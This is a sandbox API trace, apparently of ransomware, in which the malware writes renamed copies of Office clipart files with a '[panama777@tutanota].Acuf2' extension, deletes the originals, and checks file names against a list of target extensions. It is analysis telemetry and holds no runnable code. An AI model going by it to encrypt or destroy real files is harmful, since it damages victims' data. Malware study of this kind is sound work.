	[0260.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.632] GetLastError () returned 0x0
	[0260.632] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x78c, lpOverlapped=0x0) returned 1
	[0260.634] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x790, lpOverlapped=0x0) returned 1
	[0260.635] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.635] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.635] SetEndOfFile (hFile=0x330) returned 1
	[0260.635] CloseHandle (hObject=0x330) returned 1
	[0260.635] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.635] SetEndOfFile (hFile=0x334) returned 1
	[0260.640] CloseHandle (hObject=0x334) returned 1
	[0260.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 1
	[0260.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63
	[0260.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63
	[0260.640] lstrlenW (lpString=".doc") returned 4
	[0260.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.641] lstrlenW (lpString=".docx") returned 5
	[0260.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.641] lstrlenW (lpString=".pdf") returned 4
	[0260.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.641] lstrlenW (lpString=".xls") returned 4
	[0260.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.641] lstrlenW (lpString=".xlsx") returned 5
	[0260.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.641] lstrlenW (lpString=".ppt") returned 4
	[0260.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63
	[0260.641] lstrlenW (lpString=".zip") returned 4
	[0260.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.641] lstrlenW (lpString=".rar") returned 4
	[0260.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.641] lstrlenW (lpString=".bz2") returned 4
	[0260.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.641] lstrlenW (lpString=".7z") returned 3
	[0260.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63
	[0260.641] lstrlenW (lpString=".dbf") returned 4
	[0260.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63
	[0260.641] lstrlenW (lpString=".1cd") returned 4
	[0260.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63
	[0260.641] lstrlenW (lpString=".jpg") returned 4
	[0260.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.643] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2952) returned 1
	[0260.643] CloseHandle (hObject=0x334) returned 1
	[0260.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20
	[0260.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.643] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.643] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.644] GetLastError () returned 0x0
	[0260.644] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xb88, lpOverlapped=0x0) returned 1
	[0260.645] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xb90, lpOverlapped=0x0) returned 1
	[0260.646] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.646] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.646] SetEndOfFile (hFile=0x330) returned 1
	[0260.646] CloseHandle (hObject=0x330) returned 1
	[0260.646] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.646] SetEndOfFile (hFile=0x334) returned 1
	[0260.649] CloseHandle (hObject=0x334) returned 1
	[0260.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1
	[0260.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63
	[0260.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63
	[0260.650] lstrlenW (lpString=".doc") returned 4
	[0260.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.650] lstrlenW (lpString=".docx") returned 5
	[0260.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.650] lstrlenW (lpString=".pdf") returned 4
	[0260.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.650] lstrlenW (lpString=".xls") returned 4
	[0260.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.650] lstrlenW (lpString=".xlsx") returned 5
	[0260.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.650] lstrlenW (lpString=".ppt") returned 4
	[0260.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63
	[0260.650] lstrlenW (lpString=".zip") returned 4
	[0260.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.650] lstrlenW (lpString=".rar") returned 4
	[0260.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.650] lstrlenW (lpString=".bz2") returned 4
	[0260.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.650] lstrlenW (lpString=".7z") returned 3
	[0260.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63
	[0260.650] lstrlenW (lpString=".dbf") returned 4
	[0260.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63
	[0260.651] lstrlenW (lpString=".1cd") returned 4
	[0260.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63
	[0260.651] lstrlenW (lpString=".jpg") returned 4
	[0260.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.651] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=9992) returned 1
	[0260.651] CloseHandle (hObject=0x334) returned 1
	[0260.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20
	[0260.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.652] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.652] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.652] GetLastError () returned 0x0
	[0260.652] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2708, lpOverlapped=0x0) returned 1
	[0260.654] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2710, lpOverlapped=0x0) returned 1
	[0260.655] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.655] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.655] SetEndOfFile (hFile=0x330) returned 1
	[0260.655] CloseHandle (hObject=0x330) returned 1
	[0260.655] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.655] SetEndOfFile (hFile=0x334) returned 1
	[0260.657] CloseHandle (hObject=0x334) returned 1
	[0260.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 1
	[0260.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63
	[0260.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63
	[0260.658] lstrlenW (lpString=".doc") returned 4
	[0260.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.658] lstrlenW (lpString=".docx") returned 5
	[0260.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.658] lstrlenW (lpString=".pdf") returned 4
	[0260.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.658] lstrlenW (lpString=".xls") returned 4
	[0260.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.658] lstrlenW (lpString=".xlsx") returned 5
	[0260.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.658] lstrlenW (lpString=".ppt") returned 4
	[0260.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63
	[0260.658] lstrlenW (lpString=".zip") returned 4
	[0260.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.658] lstrlenW (lpString=".rar") returned 4
	[0260.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.658] lstrlenW (lpString=".bz2") returned 4
	[0260.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.658] lstrlenW (lpString=".7z") returned 3
	[0260.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63
	[0260.658] lstrlenW (lpString=".dbf") returned 4
	[0260.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63
	[0260.658] lstrlenW (lpString=".1cd") returned 4
	[0260.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 63
	[0260.658] lstrlenW (lpString=".jpg") returned 4
	[0260.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.659] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=20784) returned 1
	[0260.659] CloseHandle (hObject=0x334) returned 1
	[0260.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20
	[0260.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.659] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.659] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.660] GetLastError () returned 0x0
	[0260.660] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x5130, lpOverlapped=0x0) returned 1
	[0260.744] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5140, lpOverlapped=0x0) returned 1
	[0260.745] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.745] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.745] SetEndOfFile (hFile=0x330) returned 1
	[0260.745] CloseHandle (hObject=0x330) returned 1
	[0260.745] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.745] SetEndOfFile (hFile=0x334) returned 1
	[0260.748] CloseHandle (hObject=0x334) returned 1
	[0260.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 1
	[0260.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63
	[0260.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63
	[0260.907] lstrlenW (lpString=".doc") returned 4
	[0260.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.907] lstrlenW (lpString=".docx") returned 5
	[0260.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.907] lstrlenW (lpString=".pdf") returned 4
	[0260.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.908] lstrlenW (lpString=".xls") returned 4
	[0260.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.908] lstrlenW (lpString=".xlsx") returned 5
	[0260.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.908] lstrlenW (lpString=".ppt") returned 4
	[0260.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63
	[0260.908] lstrlenW (lpString=".zip") returned 4
	[0260.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.908] lstrlenW (lpString=".rar") returned 4
	[0260.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.908] lstrlenW (lpString=".bz2") returned 4
	[0260.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.908] lstrlenW (lpString=".7z") returned 3
	[0260.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63
	[0260.908] lstrlenW (lpString=".dbf") returned 4
	[0260.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63
	[0260.908] lstrlenW (lpString=".1cd") returned 4
	[0260.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 63
	[0260.908] lstrlenW (lpString=".jpg") returned 4
	[0260.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.909] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2796) returned 1
	[0260.909] CloseHandle (hObject=0x220) returned 1
	[0260.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20
	[0260.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.909] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.909] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0260.909] GetLastError () returned 0x0
	[0260.909] ReadFile (in: hFile=0x220, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xaec, lpOverlapped=0x0) returned 1
	[0260.931] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xaf0, lpOverlapped=0x0) returned 1
	[0260.932] ReadFile (in: hFile=0x220, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.932] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.932] SetEndOfFile (hFile=0x35c) returned 1
	[0260.932] CloseHandle (hObject=0x35c) returned 1
	[0260.932] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.932] SetEndOfFile (hFile=0x220) returned 1
	[0260.934] CloseHandle (hObject=0x220) returned 1
	[0260.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1
	[0260.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63
	[0260.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63
	[0260.934] lstrlenW (lpString=".doc") returned 4
